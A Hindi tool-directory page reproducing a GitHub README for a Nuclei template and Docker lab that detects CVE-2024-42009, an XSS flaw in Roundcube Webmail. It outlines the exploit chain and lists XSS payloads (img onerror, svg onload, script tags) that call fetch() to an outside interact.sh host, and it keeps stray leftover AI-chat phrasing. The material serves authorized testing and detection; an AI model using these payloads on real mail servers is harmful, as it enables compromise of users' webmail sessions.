Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-42009 — Nuclei टेम्पलेट और Docker लैब CVE-2024-42009 को प्रदर्शित और मान्य करने के लिए, जो Roundcube Webmail में एक reflected XSS है, अधिकृत परीक्षण के लिए Interactsh के माध्यम से Out-of-Band पहचान का उपयोग करते हुए। | Kitploit
उपकरण/GitHubGitHub/shubhankargupta691/cve-2024-42009
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubshubhankargupta691/cve-2024-42009

CVE-2024-42009

Nuclei टेम्पलेट और Docker लैब CVE-2024-42009 को प्रदर्शित और मान्य करने के लिए, जो Roundcube Webmail में एक reflected XSS है, अधिकृत परीक्षण के लिए Interactsh के माध्यम से Out-of-Band पहचान का उपयोग करते हुए।

रिपॉजिटरी देखें
181 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-42009 – Roundcube Webmail में रिफ्लेक्टेड XSS

📌 अवलोकन

इस रिपॉजिटरी में CVE-2024-42009 को सुरक्षित रूप से प्रदर्शित करने और मान्य करने के लिए एक Nuclei टेम्पलेट और सहायक संसाधन शामिल हैं, जो Roundcube Webmail में एक गंभीर रिफ्लेक्टेड XSS भेद्यता है। यह दोष show.php में message_body() फंक्शन में मौजूद है, जहाँ पोस्ट-सैनिटाइजेशन संशोधन डीसैनिटाइजेशन और तैयार किए गए HTML ईमेल सामग्री के असुरक्षित रेंडरिंग की ओर ले जाते हैं।

⚠️ यह PoC केवल शैक्षिक और अधिकृत परीक्षण के लिए है। ऐसी प्रणालियों के खिलाफ उपयोग न करें जिनके मालिक नहीं हैं या जिनकी स्पष्ट अनुमति नहीं है।


🧠 भेद्यता सारांश

  • CVE ID: CVE-2024-42009
  • गंभीरता: गंभीर (CVSS 9.8)
  • प्रभावित संस्करण: Roundcube ≤ 1.6.7 और ≤ 1.5.7
  • पैच किए गए संस्करण: 1.6.8 और 1.5.8
  • घटक: show.php में message_body()
  • प्रभाव: जब कोई उपयोगकर्ता दुर्भावनापूर्ण ईमेल देखता है तो मनमाना JavaScript निष्पादन

🧪 पहचान रणनीति (केवल प्रयोगशाला उपयोग के लिए)

यह रिपॉजिटरी एक नियंत्रित प्रयोगशाला में JavaScript निष्पादन की पुष्टि के लिए Interactsh के माध्यम से Out-of-Band (OOB) पहचान का उपयोग करता है।

मुख्य चरण:

  1. भेद्य Roundcube इंस्टेंस तैनात करें (जैसे, Docker के माध्यम से)
  2. onanimationstart और Interactsh को एक बीकन युक्त <body> टैग के साथ तैयार ईमेल भेजें
  3. Roundcube UI में ईमेल खोलें
  4. Interactsh डोमेन पर DNS/HTTP कॉलबैक की पुष्टि करें

🐳 प्रयोगशाला सेटअप

MailHog (SMTP सिंक) और MariaDB के साथ स्थानीय Roundcube इंस्टेंस को चालू करने के लिए दी गई Docker Compose फ़ाइल का उपयोग करें।

git clone https://github.com/Shubhankargupta691/CVE-2024-42009.git
cd CVE-2024-42009
docker compose up -d
  • Roundcube UI: http://localhost:8080
  • MailHog UI: http://localhost:8025
  • लॉगिन विधि: Google खाता

⚠️ अपने Google खाते का उपयोग न करें।


📁 रिपॉजिटरी सामग्री

  • CVE-2024-42009-OOB.yaml – Interactsh और Out-of-Band (OOB) पहचान के साथ Nuclei टेम्पलेट
  • CVE-2024-42009.yaml – Interactsh और OOB के बिना Nuclei टेम्पलेट
  • docker-compose.yml – Roundcube Webmail के लिए प्रयोगशाला वातावरण सेटअप
  • Images/ – Interactsh से HTTP/DNS हिट दिखाने वाले स्क्रीनशॉट

🎥 वीडियो प्रदर्शन

यह वीडियो पूर्ण एक्सप्लॉइट श्रृंखला के माध्यम से चलता है:

  • पेलोड तैयार करना
  • इसे ईमेल या एंडपॉइंट के माध्यम से भेजना
  • भेद्यता को ट्रिगर करना
  • Interactsh के माध्यम से बीकन की पुष्टि करना

(वीडियो डेमो)


उन XSS पेलोड को आपके README में जिम्मेदारी से शामिल करने के लिए, आप उन्हें शैक्षिक या परीक्षण उद्देश्यों के लिए स्पष्ट रूप से लेबल किए गए अनुभाग में रखना चाहेंगे। यहाँ एक सुझाई गई संरचना है:


🧪 XSS पेलोड उदाहरण (केवल परीक्षण उद्देश्यों के लिए)

⚠️ अस्वीकरण: ये पेलोड केवल शैक्षिक उपयोग और अधिकृत सुरक्षा परीक्षण के लिए हैं। बिना स्पष्ट अनुमति के सिस्टम पर इन्हें तैनात न करें।

<!-- onerror के साथ इमेज टैग -->
<img src="https://interact.sh/xss-test" onerror="fetch('https://interact.sh/hit')">

<!-- onerror के साथ टूटी हुई इमेज स्रोत -->
<img src="https://raw.githubusercontent.com/shubhankargupta691/cve-2024-42009/main/x" onerror="fetch('https://interact.sh/hit')">

<!-- onload के साथ SVG -->
<svg onload="fetch('https://interact.sh/hit')"></svg>

<!-- स्क्रिप्ट टैग -->
<script>fetch('https://interact.sh/hit')</script>

<!-- iframe src में JavaScript -->

🧭 उपयोग कैसे करें

  • https://interact.sh/hit को अपने स्वयं के सुनने वाले एंडपॉइंट से बदलें।
  • इन्हें स्थानीय प्रयोगशालाओं या CTF प्लेटफार्मों जैसे नियंत्रित वातावरण में उपयोग करें।
  • निष्पादन को मान्य करने के लिए अपने एंडपॉइंट पर आने वाले अनुरोधों की निगरानी करें।

🛡️ शमन

Roundcube को अपग्रेड करें:

  • 1.6.8 या 1.5.8
    ये संस्करण भेद्य पोस्ट-प्रोसेसिंग तर्क को हटाते हैं और कड़ी सैनिटाइजेशन और CSP हेडर लागू करते हैं।

📜 संदर्भ

बिल्कुल – यहाँ CVE-2024-42009 के लिए आपके README या ईमेल सबमिशन में शामिल करने के लिए एक साफ और पेशेवर संदर्भ अनुभाग है। यह आपके द्वारा सूचीबद्ध सभी स्रोतों को स्पष्टता और विश्वसनीयता के लिए स्वरूपित करता है:


📚 संदर्भ

  • NVD CVE प्रविष्टि – CVE-2024-42009 – CVSS स्कोर और प्रभावित संस्करणों के साथ आधिकारिक भेद्यता सूची
  • SonarSource ब्लॉग – सरकारी ईमेल जोखिम में – गहन तकनीकी विश्लेषण और एक्सप्लॉइट विवरण
  • DaniTheHack3r द्वारा GitHub PoC – ईमेल सुनने वाले और एनिमेशन-ट्रिगर पेलोड के साथ पायथन-आधारित एक्सप्लॉइट
  • Bhanunamikaze द्वारा GitHub PoC – HTTP सुनने वाले के माध्यम से स्वचालित पेलोड इंजेक्शन और निष्कर्षण
  • 0xbassiouny1337 द्वारा GitHub PoC – रीयल-टाइम ईमेल कैप्चर और डिकोडिंग के साथ स्टोर्ड XSS एक्सप्लॉइट
टूल डाउनलोड करें